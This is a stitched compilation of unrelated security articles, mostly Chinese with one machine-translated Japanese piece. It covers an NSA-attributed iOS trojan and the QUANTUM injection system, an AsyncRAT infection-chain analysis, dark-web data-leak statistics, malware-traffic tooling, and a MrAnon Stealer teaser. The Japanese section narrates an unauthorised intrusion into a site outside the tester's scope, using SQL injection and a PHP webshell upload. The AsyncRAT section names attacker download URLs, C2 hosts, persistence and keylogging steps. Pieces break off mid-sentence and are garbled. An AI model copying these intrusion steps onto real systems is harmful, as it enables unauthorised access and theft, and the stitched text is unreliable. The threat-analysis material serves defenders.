該樣本有13個指令代碼,功能與安天歷史曝光過的方程式Windows和Solaris木馬DoubleFantasy系列指令十分相似。

2-13.jpg

圖2‑13 指令代碼

樣本各個指令功能簡要描述如下:

表2‑3指令代碼及對應功能

16進制指令代碼

指令功能

0x42

流量包校驗

0x4B

讀取文件上傳

0x60

收集大量信息回傳(具體表2-4)

0x70

更新C2地址

0x75

修改心跳包間隔

0x76

更新配置文件

0x78

更新配置文件

0x79

更新配置文件

0x80

刪除文件

0x92

接收文件執行

0x94

更新配置文件

0x95

執行程序

0xA2

更新配置文件

樣本獲取配置環境等信息後進行回傳:

2-14.jpg

圖2‑14 獲取環境和配置信息回傳

獲取信息格式說明:

表2‑4獲取環境和配置信息格式說明

標號

說明

標號

說明

標號

說明

000

MAC地址

033

未知

042

未知

001

未知

034

未知

043

語言

002

IP地址

035

操作系統類型

044

未知

003

未知

036

未知

045

系統運行時間

004

代理設置信息

037

未知

046

未知

005

未知

038

時區

047

未知

030

使用者名稱

039

未知

048

樣本執行路徑

031

密碼

040

localtime

049

系統版本號

032

操作系統類型(iOS)

041

Time

mvld木馬內部解密出信息FAID,其中ace02468bdf13579[10]與之前曝光的NSA作業所需強制性的唯一標識代碼一致,該標識也存在於“影子經紀人”洩露的方程式武器庫中SecondDate武器中,種種信息都指向:該木馬來自美方情報機構NSA下屬的方程式組織。

表2‑5 mvld解密出的配置信息

配置名稱

內容

說明

CI

3600

心跳

CIAE

120

cop1

80

C2端口1

cop2

443

C2端口2

CSF

/private/var/tmp/.swapfile.tmp

FAID

***_ace02468bdf13579_***

ID

*****00171

lp1

**********[.]com

C2地址1

lp2

80[.]*[.]*[.]*

C2地址2

os1

www.google.com

測試網絡聯通

os2

www.yahoo.com

測試網絡聯通

os3

www.wikipedia.org

測試網絡聯通

os4

www.apple.com

測試網絡聯通

PV

12

SDE

/usr/gated/gated.deb

3 同源分析我們將該iOS木馬與方程式組織的DoubleFantasy木馬裝備序列進行對比分析,可以得出如下結果:在功能、行為、算法、信息收集和指令控制集合上幾乎相同;木馬使用方程式組織加密算法中最常使用的數值0x47[7]、收集終端信息格式與DoubleFantasy一致,控制指令代碼結構與DoubleFantasy基本一致。

3.1 配置數據解密算法、密鑰對比本報告樣本與其他方程式組織樣本在加密算法、密鑰上完全一致:

3-1.jpg

圖3‑1歷史其他平台方程式樣本(左)解密算法與iOS樣本(右)解密算法

3.2信息收集格式對比對比發現本報告樣本與其他方程式樣本在信息收集的數據格式基本一致:

3-2.jpg

圖3‑2歷史其他平台方程式樣本(左)信息收集與iOS樣本(右)信息收集對比

3.3控制指令代碼對比本報告樣本與其他方程式樣本在控制指令格式上基本一致:

3-3.jpg

圖3‑3歷史其他平台方程式樣本(左)指令代碼與iOS樣本(右)指令代碼對比

4 攻擊投放分析通常認為iOS平台的安全強度比Android平台更高,但iOS平臺本身依然有很多可攻擊入口。針對iOS平台曾出現過的攻擊方式包括,基於App Store投毒、基於iMessage和FaceTime的漏洞、基於Wi-Fi在流量側的攻擊等。卡巴斯基所發布的報告,聲明其所捕獲的攻擊入口為iMessage服務。 iMessage漏洞確實是一個常用的攻擊入口,加之其本身帶有電信碼號的指向性,適合發起指向明確目標的攻擊。但同時我們也要指出的是,關閉iMessage和Facetime等服務,依然不能有效對抗方程式組織的攻擊,這是因為:方程式組織所擁有專屬的“上帝視角”攻擊模式,是依托入侵和劫持各國運營商網絡設備、和其他的信道介入能力構建流量劫持體系,在擬攻擊目標人員上網過程中,基於“量子”(QUANTUM)系統插入攻擊流量,利用瀏覽器等上網軟件的漏洞,實現將惡意代碼投放到設備當中運行。

“量子”(QUANTUM)系統項目於2013年首次被斯諾登曝光,由美國國家安全局(NSA)發起,並與英國政府通信總部(GCHQ)和瑞典國防無線局(FRA)聯合執行,用於開發和運營承載實施網絡攻擊的工程體系和入侵工具集,以實現對網絡空間中網絡狀態的干預和控制,由NSA下屬的特別行動入侵行動辦公室(TAO)開發並負責使用。而我們所說的方程式組織則是網絡安全產業界基於分析工作中發現的裝備特點對TAO所賦予的“別名”。

“量子”(QUANTUM)系統的運行支點,是對網絡通訊基礎設施的關鍵路由和網關等設備的入侵和劫持,從而具備獲取分析和劫持攻擊目標上網過程的能力。其首先基於上網設備的相關IP、碼號、鏈路、身份賬號或其他標識依托X-KeyScore系統進行識別,看是是否複合攻擊目標定義,以及是否是已經攻擊成功設備,如果是尚未實施攻擊過攻擊的待攻擊目標,則進一步判斷是否存在可用漏洞,然後選用相應的工具執行秘密入侵。

我們以假定目標登錄雅虎賬戶為例,攻擊過程如下:

1、目標登錄Yahoo郵箱或網站;

2、特殊行動源(SSO: Special Source Operations)站點發現“量子”(QUANTUM)系統指定的雅虎分揀器篩選的數據包,會將其重定向到FOXACID服務器;

3、該服務器將FOXACID URL注入到選定的數據包並將其發回至目標計算機;

4、雅虎服務器接收到請求郵件內容的數據包;

5、FOXACID數據包先於雅虎數據包回到終端;

6、目標機器加載雅虎頁面,但在後台同時加載FOXACID URL,將目標重定向到FOXACID刺探服務器;

7、如果目標瀏覽器可用,且PSP(Personnel Security Program)未能檢測,則FOXACID將第一階段植入程序部署到目標;

8、“驗證器”後門(美方稱之為Validator,安全廠商命名為DoubleFantasy的木馬)成功安裝。

4-1.jpg

圖4‑1 NSA“量子”(QUANTUM)系統攻擊原理

在針對iOS平台的攻擊中,“量子”系統通過多個Safari瀏覽器的遠程代碼執行漏洞組合利用投放攻擊樣本。其中最早的攻擊行為在2013年或更早的時間就出現。其早期運用的漏洞可能包括CVE-2014-1349、CVE-2014-4466等,漏洞利用代碼則由“狐酸”FOXACID漏洞平台生成,“量子”系統所構造的流量可以實現先於正常網站返回流量抵達目標終端,觸發漏洞執行該木馬程序。在利用本報告樣本的攻擊過程中,攻擊載荷在量子系統在插入的網絡流量中偽裝成GIF頭部,命名為regquerystr.exe。

需要高度警惕的是,“量子”系統的攻擊是上帝視角的,具體表現為:

1. 其攻擊流量是由被入侵或控制的網絡路由設備發出,其甚至可能先於被訪問的網站感知到被攻擊方的網絡訪問。

2. 其攻擊對像是訪問網站和網絡資源的瀏覽器,或其他互聯網客戶端,因此其更難防禦,也無法用傳統收斂開放端口和暴露面的思路來防範。

3. 其插入的攻擊流量並不是和真實網站交互過程,且是加密的,因此即使數據包遭到了還原和留存,發現了其構造的域名,也不具備傳統IP/域名意義的溯源價值。

4. 在攻擊得手後,其相關角色和設備被標定為攻擊有效,後續不會再進行投放的動作,而攻擊失手後,則可能不再繼續攻擊,或未來不會採用同一漏洞進行攻擊。因此極難復現和驗證。

5. “量子”的能力並不僅可以部署於骨幹網被A2PT組織滲透或控制的網絡設備之中,也可以在入侵作業中,植入到政企機構網關和邊界設備上,包括相關漏洞利用工具可以部署到類似企業WEBMail 服務器中,使之有別於一般的持久化,而採取反复打入+內存木馬的方式,更好地對抗一般性的威脅獵殺。

“量子”的作業能力一方面來自於方程式組織對全球關鍵網絡通訊設備的攻擊控製程度,另一方面則來自其掌控的大量未公開漏洞資源和漏洞利用工具儲備。

5 A2PT組織的漏洞儲備、來源及資源運營和作業分析5.1 整體漏洞運營機制無論是攻擊中東SWIFT對信息基礎設施長驅直入[11],還是“量子”之手實現上帝視角的攻擊,方程式等A2PT作業組織都依賴極為豐富的漏洞儲備[12][13]。

美方對零日漏洞(0day)的管理和儲備有一套自身的管理機制。 2017年美國白宮發布《漏洞公平裁决政策和程序》 [14],為漏洞公平裁決程序(Vulnerabilities Equities Process,VEP)制定了更多的規則和透明度要求,包括目的、背景、範圍、參與主體、裁決過程和相關附件等內容,這個政策的主導機構就是NSA。 VEP是美國政府在處理安全漏洞問題時所引入的一項裁決機制,當發現漏洞時,是選擇將發現的漏洞向有關科技公司披露,告知其產品或服務中存在的網絡安全漏洞以便開發者及時進行修復,還是選擇將漏洞信息進行保留,以便今後用於網絡入

0x01はじめに

違反と防衛の訓練の情報収集中、与えられたウェブサイトと資産のウェブサイトは同じIPセグメントであることがわかったため、違法サイトの浸透がありました。

辞書およびその他のリソースファイルは、最後に取得できます

0x02 SQL脆弱性発見

サイトにアクセスしてください

i1upryxjlie11313.png

プラグインを使用して、サイトをPHPとして表示します

nozu2bds2z111315.png

通常のディレクトリスキャン

ox5nf4gtmyt11318.png

フロントデスク

t02vovjd2en11320.png

ワンクリックでログインした後、新しい住所に注入があったことがわかりました

zksec0c353j11322.png

vhh0itqfrv511324.png

0x03さらなる搾取

ここでは、パラメーターを取得する必要があると促されます。 address.phpリクエストで乱数リクエストを記入した後、情報を入力してパケットをつかんでSQLMAPを実行し続けます

ny5c3fuocpa11326.png

長い間待った後、ブールブラインドとエラー注入があることがわかりました。

r3mkmefxnsd11328.png

次に、サイトバックエンド管理アドレスを見つけます

4npflfl2mwn11330.png

注入されたアカウントパスワードを使用して背景にログインします

4hyvi02ixg311332.png

0x04ファイルをアップロード

アップロードポイントを探しています

sx3fr0opi4c11334.png

アップロード

fhukrj3tgxs11335.png

アクセスパス

wjmcxojxe1f11337.png

PHPを直接アップロードして持ち上げます

ga0c4kwxkv011339.png

これまでのところ、私はこのサイトを取り、シンプルで効率的な方法でそれを取り上げました!

最近,趨勢科技管理的XDR (MxDR)團隊處理了涉及AsyncRAT的各種樣本,這是一種具有多種功能的遠程訪問工具(RAT),例如鍵盤記錄和遠程桌面控制,這種工具可以使其對受害者構成重大攻擊。例如,攻擊者會冒充當地銀行和執法機構,將AsyncRAT傳播給他們的目標。

2021年,AsyncRAT參與了名為“Spalax行動”的網絡釣魚活動,這些網絡釣魚活動一直持續到2021年底和2022年初。他們使用HTML附件進行AsyncRAT傳播,同時還集成了反射加載技術。

t0:用戶下載帶密碼保護的ZIP文件downloadedFile_SSAfnmeddOFzc.zip;

1分20秒:用戶解壓縮包含.wsf腳本的ZIP文件

1分26秒:下載並執行第一個有效負載,導致下載第二個有效負載;

1分35秒:自動啟動;

1分59秒:下載並執行第二個有效負載;

5分48秒:進程注入到aspnet_compiler.exe和通過動態DNS的命令與控制(CC)連接

下圖描述了對涉及aspnet_compiler.exe的可疑活動的檢測,該活動試圖與外部IP地址45[.]141[.]215[.]40建立連接。同時,我們的分析揭示了有關PowerShell腳本和批處理文件的執行情況。我們能夠使用這些數據作為支點,回溯並調查文件的入口點及其附加活動。

1.png

被觸發的工作台警報

我們發現,攻擊的觸發因素是一個最初通過谷歌Chrome下載的名為downloadd_file_ssafnmeddofzc .zip的文件。

2.jpg

通過Chrome瀏覽器下載downloadfile_ssafnmeddofzc .zip文件

用戶打開ZIP文件,可以發現其中包含一個名為downloaddfile_ssafnmedd .wsf的腳本文件。我們收集了ZIP文件,發現它是受密碼保護的。

根據最近的報告顯示,AsyncRAT通常通過垃圾郵件傳播。我們強烈懷疑用戶可能已經收到了解壓ZIP文件的密碼,以及惡意鏈接。用戶使用密碼提取並打開了文件,突出了攻擊者用來規避檢測的常用策略,即使用電子郵件中包含的密碼提取ZIP文件。

3.jpg

檢查執行配置文件會發現wscript.exe是通過Windows資源管理器啟動的,這表明用戶通過雙擊它來執行該文件。安裝順序包括創建和執行多個PowerShell腳本(.ps1)、VBScript (.vbs)和批處理文件(.bat)。

4.png

執行downloadd_file_ssafnmeddofzc .wsf文件並創建多個腳本文件

通過使用反惡意軟件掃描接口(AMSI)監測(TELEMETRY_AMSI_EXECUTE),我們在運行時獲得了與downdownloadfile_ssafnmeddofzc .wsf相關的數據,使我們能夠辨別文件的目的及其相應的活動。

5.jpg

腳本下載file_ssafnmeddofzc .wsf(.wsf)是一個Windows腳本文件,它使用PowerShell和VBScript命令的混合來執行一系列活動。它創建了一個WScript.Shell對象,通常用於執行Shell命令,並在C:\Users\Public目錄中生成名為VLCdllFrame.xml的文本文件。作為第二個參數的' true '值表示,如果該文件已經存在,則該文件將被覆蓋。

腳本使用start - bittransfer命令從hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg下載文件,以“snakers.zip”保存。隨後,它將內容提取到C:\Users\Public目錄中,或者在某些情況下提取到C:\Users\Public\ pictures \中。執行PowerShell命令後,腳本將刪除之前創建的VLCdllFrame.xml文件。

我們收集了snake .zip並分析了其內容,發現其存在各種惡意腳本,這些腳本都是AsyncRAT安裝例程的組成部分。

6.jpg

AsyncRAT安裝例程的組件

下圖描述了由Vision One生成的執行概要文件,說明了當用戶打開文件downloadd_file_ssafnmeddofzc .wsf時觸發的AsyncRAT安裝例程中的事件序列。

7.png

AsyncRAT安裝鍊和代碼注入到aspnet_compiler.exe

我們觀察到aspnet_compiler.exe正在建立與IP地址208[.]95[.]112[.]1:80(IP-api[.]com)和45[.]141[.]215.40:4782(httpswin10[.]kozow[.].com)的連接。前者用於地理位置檢查,而後者(被標識為免費動態DNS)可能被攻擊者用來混淆其真實服務器IP地址,從而實現快速更改以逃避檢測。在其他情況下,可以看到它連接到66escobar181[.]ddns[.]net,另一個動態DNS服務器。

8.png

連接到外部IP地址45[.]141[.]215.40(動態DNS)的aspnet_compiler.exe可執行文件

計劃任務的創建名為Reklam或Rekill,提供了AsyncRAT持久性功能。下圖顯示了Webcentral.ps1的內容,該腳本負責創建一個計劃任務,該任務使用Windows任務調度程序服務每兩分鐘執行一次C:\Users\Public\hash.vbs或C:\Users\Public \Pictures\hash.vbs。

9.png

Webcentral.ps1為持久性創建計劃任務(由AMSI遙測記錄)腳本

分析通過分析腳本,我們能夠更深入地了解攻擊的目標。下圖說明了該攻擊如何策略性地使用多層腳本作為逃避檢測的手段。隨後,它繼續向aspnet_compiler.exe執行代碼注入,這是另一種不被檢測到的方法。

接下來,我們將討論從snakes .zip中提取的每個腳本的目標。

10.png

AsyncRAT安裝例程

Webcentral.vbs腳本使用net session命令檢查它是否以管理權限運行(第9-10行)。如果成功,它會向攻擊者標記存在管理權限(isAdmin),然後運行存儲在變量executionCommand中的命令,將其定向到批處理文件(C:\Users\Public\Webcentral.bat)。該腳本包括錯誤處理技術,使用On Error Resume Next和On Error GoTo 0語法來管理錯誤並保持腳本順利運行。

11.png

Webcentral.vbs檢查管理權限,然後執行Webcentral.bat

bat腳本啟動PowerShell執行位於C:\Users\Public\Webcentral.ps1的腳本。它使用-NoProfile,-WindowStyle Hidden和-ExecutionPolicy Bypass參數在隱藏窗口中使用繞過的執行策略運行PowerShell。

12.png

Webcentral.bat執行Webcentral.ps1

Webcentral.ps1Webcentral.ps1腳本創建一個名為Reklam的計劃任務,該任務每兩分鐘運行一次腳本(hash.vbs)。計劃任務已啟用,即使設備使用電池運行,也可以啟動。 hash.vbs腳本位於C:\Users\Public\hash.vbs目錄中,作為計劃任務的一個操作執行。該任務是使用Windows任務計劃程序服務註冊的。

13.png

Webcentral.ps1創建計劃任務並將其設置為每兩分鐘運行一次Hash.vbs

Hash.vbs與Webcentral.vbs是相同的腳本,但指向不同的文件(C:\Users\Public\Hash.bat)。

Hash.bat與Hash.vbs類似,Hash.bat是Webscentral.bat的腳本,但指向不同的文件(C:\Users\Public\Hash.ps1)。

Hash.ps1Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件,觸發aspnet_compiler.exe的執行。它使用解碼後的runpe.txt中的函數將AsyncRAT有效負載(解碼後的msg.txt)注入新生成的aspnet_compiler.exe進程中。

14.png

Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件

解碼後的腳本如下:

15.jpg

這是一個PowerShell腳本,動態加載.NET程序集,特別是NewPE2.PE類型,並調用其Execute方法。 Execute方法用於向進程中註入與aspnet_compiler.exe相關的代碼,它是為惡意代碼注入而設計的,允許惡意攻擊者在合法的aspnet_compiler.exe進程的上下文中執行額外的代碼。

已解碼的runpe.txt(進程注入器代碼)如下圖所示,runpe.txt文件的解碼內容顯示了Hash中使用的代碼.ps1腳本執行進程注入到aspnet_compiler.exe。

16.1.png

16.2.png

預覽在Hash中加載和使用的進程注入函數.ps1腳本

Decodedmsg.txt (AsyncRAT Payload)在例程開始時解碼的配置,需要注意的值是主機名66escobar181[.]ddns[.]net和它所連接的端口號6666。

其他功能根據嵌入式配置,AsyncRAT後門具有其他功能。這包括反調試和分析檢查、持久性安裝和鍵盤記錄。下圖中的代碼片段檢查是否在嵌入式配置embeddedConfig中啟用了鍵盤記錄。如果啟用了keylogging,它將啟動一個新線程來執行startKeylogging方法。

17.png

鍵盤記錄配置值在運行時解密並引用變量

對於我們獲得的樣本文件,僅啟用了鍵盤記錄例程,該例程捕獲並記錄受攻擊計算機的每次擊鍵,並將數據發送到攻擊者控制的服務器。

18.png

18.2.png

啟用了鍵盤記錄程序,捕獲並記錄每個擊鍵

keylogging例程以與關聯程序(getActiveApplicationName())對應的日誌記錄鍵結束。此交互是從臨時目錄中的指定日誌文件中找到的。然後將信息記錄在%TEMP%\Log.tmp中。

代碼片段動態地從配置中選擇主機和端口。 AsyncRAT使用套接字連接與各種IP地址和端口進行交互,使其基礎設施具有動態性和適應性。它允許攻擊者頻繁更改服務器地址,使預測或阻止通信通道的工作複雜化。此外,代碼還包括錯誤處理機制,如果連接到特定IP地址或端口時出現問題,錯誤處理機制允許AsyncRAT嘗試替代連接或退回到默認配置,從而進一步強調攻擊者採用的規避策略。

19.png

AsyncRAT動態主機例程,在我們的樣本中,它通過端口6666連接到66escobar181[.]ddns[.]net

AsyncRAT有效負載在連接到服務器時收集客戶端信息。其中包括用戶名、計算機信息、安裝的防病毒軟件和安裝的加密貨幣錢包。

20.png

20.2.png

收集用戶名、計算機信息、防病毒程序和加密貨幣錢包的信息

AsyncRAT掃描應用程序目錄、瀏覽器擴展和用戶數據中的特定文件夾,以識別與特定加密錢包相關的文件夾名稱,並驗證它們在系統中的存在。

加密錢包檢查序言的代碼片段對與以下錢包字符串相關的某些目錄進行查詢:

Atomic

Binance

BinanceEdge

BitcoinCore

BitKeep

BitPay

Coinbase

Coinomi

Electrum

Exodus

F2a

LedgerLive

Meta

Phantom

RabbyWallet

Ronin

TronLink

TrustAsyncRAT攻擊的最新趨勢到2023年初,AsyncRAT攻擊仍然存在,利用包括PowerShell、Windows Script file (WSF)和VBScript (VBS)等各種文件類型來進行惡意攻擊。

分析解密後的AsyncRAT有效負載,可以明顯看出所使用的證書與AsyncRAT Server相關聯,這是AsyncRAT CC流量的一個特徵。通常,主題公共名稱被配置為“AsyncRAT服務器”或“AsyncRAT服務器CA”。

檢查主題通用名稱在識別AsyncRAT攻擊方面證明是有價值的,惡意軟件配置揭示了ID 3LOSH RAT的存在。這意味著有效負載可能使用了3LOSH加密器進行混淆和隱身,這解釋了在攻擊鏈的不同階段使用多個腳本。

在調查AsyncRAT樣本文件期間,我們發現了用於aspnet_compiler.exe的注入代碼與GitHub上的開源存儲庫之間的代碼相似之處。從客戶環境中獲得的AsyncRAT樣本和GitHub存儲庫上的版本之間出現了兩個明顯的區別。

首先,我們獲得的樣本包括BoolWallets作為掃描的加密貨幣錢包之一。其次,GitHub版本缺乏鍵盤記錄功能。然而,我們獲得的代碼顯示了鍵盤記錄功能,類似於在GitHub存儲庫中找到的另一個樣本。這些差異表明攻擊者定制了GitHub代碼以符合他們的特定目標。

探索動態DNS使用情況動態DNS允許攻擊者快速更改與域名相關的IP地址,這對試圖檢測和阻止惡意活動的安全系統提出了挑戰。我們最近的調查揭露了在No-IP和Dynu Systems, Inc名下註冊的CC域名。 66escobar181[.]ddns[.]net域解析為IP地址185[.]150[.]25[.]181。 VirusTotal分析表明,多個域被標記為惡意,都集中到同一個IP地址。

21.png

不同的域名解析到同一個IP: 185[.]150[.]25[.]181

進一步仔細檢查IP信息,我們發現了與託管提供商Zap-Hosting的關聯,該提供商以提供各種服務而聞名,例如游戲服務器、網站和虛擬專用服務器(VPS)。另一個域(httpswin10[.]kozow[.]com)也出現了類似的模式,它解析為與託管提供商關聯的IP地址。此IP地址還與其他惡意域共享,表明了攻擊者利用DDNS和託管提供商進行操作的一致策略。

總結本文介紹了AsyncRAT遠程訪問木馬,它具有諸如未經授權訪問、鍵盤記錄、遠程桌面控制和隱蔽文件操作等功能,並分析了它是如何作為各種攻擊的通用工具展開運行的,其中就包括勒索軟件。

策略性地使用多個混淆的腳本,結合'living off the land'技術,讓攻擊更加靈活,使他們能夠逃避檢測。再加上將代碼注入到合法文件(如aspnet_compiler.exe)中,這種技術大大增加了檢測這些攻擊的難度。

此外,使用動態主機服務器允許攻擊攻擊者無縫更新他們的IP地址,加強了在系統中不被發現的可能性。在許多情況下,AsyncRAT的默認目的保持不變,即竊取有價值的信息,如用戶名、密碼和加密貨幣錢包,通過鍵盤記錄捕獲的擊鍵使攻擊者能夠獲取憑據並可能訪問金融帳戶。

data_darknet_abstract-1200x600.jpg

每年都會有大量的公司發生重大數據洩露事件,例如2022年Medibank和Optus的數據洩露、Twitter的數據洩露、Uber和Rockstar的數據洩露以及2023年T-Mobile、MailChimp和OpenAI的數據洩露。在2022年,卡巴斯基實驗室列出了全球700家來自不同行業的公司,然後在暗網上搜索,試圖分析這些公司遭受攻擊的可能性有多大?

研究發現,暗網裡的帖子都是關於出售受攻擊帳戶、內部數據庫和文檔,以及訪問公司基礎設施。雖然暗網確實促進了各種數據類型的銷售,例如,銀行卡信息、駕駛執照和身份證照片等,但本文重點還是放在了與企業特別相關的信息上。研究發現700家公司中有223家在暗網上被提及,洩露數據的主題也不同。

1.png

各行業分佈

這意味著三分之一的公司在與銷售數據或訪問相關的暗網帖子中被引用,即使是網絡安全成熟度高的公司也避免不了被黑客攻擊。

本文提供了一個統計概述,包括所有暗網帖子,涉及2022年1月至2023年11月期間出售、購買或免費傳播受攻擊帳戶的數據。

數據洩露數據洩露會暴露機密、敏感信息,並可能導致重大問題。最常見的例子是數據庫和內部文檔,因為所有有一定規模的公司都使用機密數據,洩露會影響公司本身、員工和客戶。

暗網上每月大約有1700個新的帖子出現,涉及銷售、傳播或購買洩露數據。

2.png

2022年1月至2023年11月與數據庫出售/購買相關的消息數量

應該注意的是,並不是每條消息都代表一條最新出現的洩漏,其中有些是重複的廣告相同洩漏。

3.png

一個組合報價的示例

另一種流行的洩露類型是收集公共數據的數據庫,如姓名、個人資料、id和電子郵件,這些數據來自流行的社交網絡。它們是開發攻擊的寶貴來源。 2021年,超過7億LinkedIn用戶和5.33億Facebook用戶的個人信息被抓取並發佈在暗網上。

4.png

4.2.png

洩露的LinkedIn數據庫分佈示例

基礎設施的訪問以下是網絡攻擊者獲取企業基礎設施初始訪問權限以進行攻擊的最常見行為:

1.利用軟件漏洞。例如,對企業web資源的攻擊,利用跨網站組件的1日漏洞,SQL注入,訪問易受攻擊的web應用程序控制面板等。

2.獲得合法的公司證書。例如,使用竊取日誌中的數據或密碼挖掘。

3.針對員工的網絡釣魚攻擊。例如,帶有惡意負載的電子郵件。

特別要提的是盜用合法賬戶的方法。這些駐留在受感染設備中的惡意程序收集各種帳戶和支付數據、cookie文件、授權令牌等,並保存到日誌中。網絡攻擊者掃描這些日誌,尋找他們可以利用和賺錢的數據,一些人在尋找信用卡數據,另一些人在尋找域名賬戶,社交網絡賬戶等,他們把這個階段稱為加工。在整理完日誌後,他們要么在論壇上公開交換自己的發現,要么把它們賣給個人買家。

關於漏洞(例如SQL注入)和合法憑據(例如RDP/SSH)的信息,對於收入可觀的公司來說,定價會非常不同,因為它們提供了不同的成功攻擊概率。出售帳戶以訪問遠程管理接口(RDP、SSH)意味著已經獲得了對公司網絡基礎設施系統的訪問權限,而漏洞僅僅提供了實現類似級別訪問的機會。即使涉及到同樣的問題,比如SQL注入,也有許多因素影響攻擊的潛在發展,比如易受攻擊的主機位置(例如,公司網絡或云服務器),預期的漏洞利用技術,數據庫容量等,

基礎設施訪問受歡迎的原因很簡單,複雜的攻擊幾乎總是包括幾個階段,例如偵察、對基礎設施的初始訪問、獲得對目標系統或特權的訪問,以及實際的惡意行為(數據盜竊、破壞或加密等)。不同的階段需要不同的專業知識,因此網絡攻擊者往往具有專業知識,容易獲得訪問權限的人可能在攻擊的發展中面臨困難。在這種情況下,購買初始訪問權限簡化了攻擊,對於經驗豐富的網絡罪犯來說很划算。

對於希望降低與基礎設施訪問銷售相關的風險的企業來說,第一個挑戰是了解銷售情況。與其他類型的數據相比,這種數據類型的巨大區別在於,網絡攻擊者不喜歡在消息中提及公司的名稱,以免失去訪問權限,即使有人提到了名字,社區也會建議他們不要分享多餘的信息。

5.png

對提供出售的帖子發表評論

在這種情況下,如何跟踪此威脅?網絡攻擊者通常會在信息中加入一些屬性,比如地理位置、行業、公司規模和年收入。

6.png

6.2.png

6.3.png

一些帶有公司屬性論壇消息的示例

在2022年,研究人員發現了大約3000個獨立的基礎設施項目,到2023年11月,我們已經找到了超過3100份報價。通常,被黑客攻擊的企業基礎設施包括企業VPN服務的帳戶和內部網絡中的一些服務器或主機(通常,訪問是通過RDP或web shell執行的)。

7.png

2022年1月至2023年11月提供的基礎設施訪問的消息數量

賬戶被盜還有另一類數據是獲得初始訪問權限的真正發現,受攻擊帳戶。根據來源,研究人員將所有受攻擊賬戶分為三類:

1.在網絡威脅組織中自由傳播的公開秘密。

2.在黑客論壇和私人聊天中出售的具有有限訪問權限的漏洞,有時這些只是包含未經驗證的信息的小型數據庫。

3.在暗網論壇上發布的惡意軟件日誌中洩露的用戶賬戶。由於REDLINE和VIDAR這樣的信息竊取程序,這些憑證變得可用,現在可以通過惡意軟件即服務在網絡犯罪社區中輕鬆訪問。

乍一看,網絡攻擊者沒有理由免費共享憑證。然而,如果他們不再需要這些數據,並希望在特定的暗網論壇上提高他們在網絡犯罪社區中的比率,他們仍然可以這樣做。此外,他們還可以發布一些包含受攻擊帳戶的惡意軟件日誌文件,以進行下一次銷售。

這三種類型的證書洩露都對公司造成了威脅,有些員工不顧禁令,使用公司電子郵件地址在第三方網站上註冊。在典型情況下,公司員工對外部服務和公司資源使用相同的密碼,有助於網絡攻擊者未經授權便訪問公司基礎設施。

惡意軟件分析涵蓋一系列活動,其中包括仔細檢查惡意軟件的網絡流量。要想有效地做好這項工作,關鍵在於要了解常見的威脅以及如何克服這些威脅。下面將介紹企業可能遇到的三個常見問題以及解決它們所需要的工具。

解密HTTPS流量超文本安全傳輸協議(HTTPS)原本是一種確保安全在線通信的協議,如今卻已經成為了惡意軟件隱藏其惡意活動的一種工具。通過偽裝受感染設備與指揮和控制(CC)服務器之間的數據交換,惡意軟件就可以在不被發覺的情況下運行,往外洩露敏感數據,安裝額外的攻擊載荷,並接收來自攻擊者團伙的指令。

然而,如果有合適的工具,解密HTTPS流量就輕而易舉。為此,我們可以使用中間人(MITM)代理,MITM代理充當了客戶機與服務器之間的中介,可以攔截兩者之間傳輸的信息。

MITM代理幫助分析人員實時監控惡意軟件的網絡流量,以便他們清楚地了解惡意活動。除此之外,分析人員還可以訪問請求和響應數據包的內容、IP以及URL,以查看惡意軟件通信的詳細信息,並識別竊取的數據,這種工具對於提取惡意軟件使用的SSL密鑰特別有用。

1.png

圖1. ANY.RUN沙箱提供的有關AxileStealer的信息

在這個例子中,初始文件(大小為237.06 KB)投放AxilStealer的可執行文件(大小為129.54 KB)。作為一種典型的信息竊取器,它獲得了訪問存儲在網絡瀏覽器中的密碼的權限,開始通過Telegram消息傳遞連接將密碼傳輸給攻擊者。

規則“STEALER [ANY.RUN] Attempt to exfiltrate via Telegram”(STEALER [ANY.RUN]企圖通過Telegram往外洩露)表明了惡意活動。由於MITM代理功能,惡意軟件的流量已被解密,揭露了這個事件的更多細節。

發現惡意軟件家族識別惡意軟件家族是任何網絡調查工作的一個關鍵部分。 Yara規則和Suricata規則是用於這項任務的兩種常用工具,但在處理服務器不再活躍的惡意軟件樣本時,它們的有效性卻可能受到限制。

FakeNET為此提供了一個解決方案,即創建一條虛假的服務器連接來響應惡意軟件請求,誘騙惡意軟件發送請求可以觸發Suricata規則或YARA規則,該規則可以準確識別惡意軟件家族。

2.png

圖2. ANY.RUN沙箱檢測到的非活躍服務器

在分析該樣本時,沙箱指出了惡意軟件的服務器沒有響應這個事實。

3.png

圖3. 使用FakeNET識別出來的Smoke Loader惡意軟件

然而,在啟用FakeNET功能後,該惡意軟件立即向虛假的服務器發送請求,觸發識別出它是Smoke Loader的網絡規則。

捕捉針對特定地區的隱蔽性惡意軟件許多攻擊和網絡釣魚活動將目光重點投向特定的地區或國家。隨後,它們結合IP地理位置、語言檢測或網站屏蔽等機制,這些機制可能會限制分析人員檢測它們的能力。

除了針對特定地區外,惡意軟件團伙還可能利用一些技術來逃避沙箱環境中的分析活動。一種常見的方法是驗證系統是否正在使用數據中心IP地址。一旦予以證實,惡意軟件就停止執行。

為了克服這些障礙,分析人員使用了住宅代理。這種出色工具的工作原理是,將分析人員的設備或虛擬機的IP地址換成來自世界不同地區的普通用戶的住宅IP。

這項功能使專業人員能夠通過模仿本地用戶來繞過地理限制,並在不暴露其沙箱環境的情況下研究惡意活動。

4.png

圖4. 使用FakeNET識別出來的Smoke Loader惡意軟件

在這裡(https://app.any.run/tasks/eda5aee1-8231-4024-ae83-51fd29f585e2/?utm_source=thehackernewsutm_medium=articleutm_campaign=howtoanalynetworktrafficutm_content=sampleutm_term=13122023),一旦主機IP地址被上傳到了沙箱,Xworm就立即核查該IP地址。然而,由於虛擬機有一個住宅代理,惡意軟件繼續執行,並連接到其指揮和控制服務器。

FortiGuard實驗室最近發現了一個電子郵件釣魚活動,利用欺騙性的預訂信息引誘受害者點擊惡意PDF文件。 PDF下載了一個用PowerGUI創建的.NET可執行文件,然後運行PowerShell腳本來獲取最終的惡意軟件,稱為MrAnon Stealer。

該惡意軟件是一個基於Python的信息竊取程序,使用cx Freeze壓縮以逃避檢測。 MrAnon Stealer竊取受害者的憑據、系統信息、瀏覽器會話和加密貨幣擴展,攻擊流程如下所示。

1.png

攻擊流

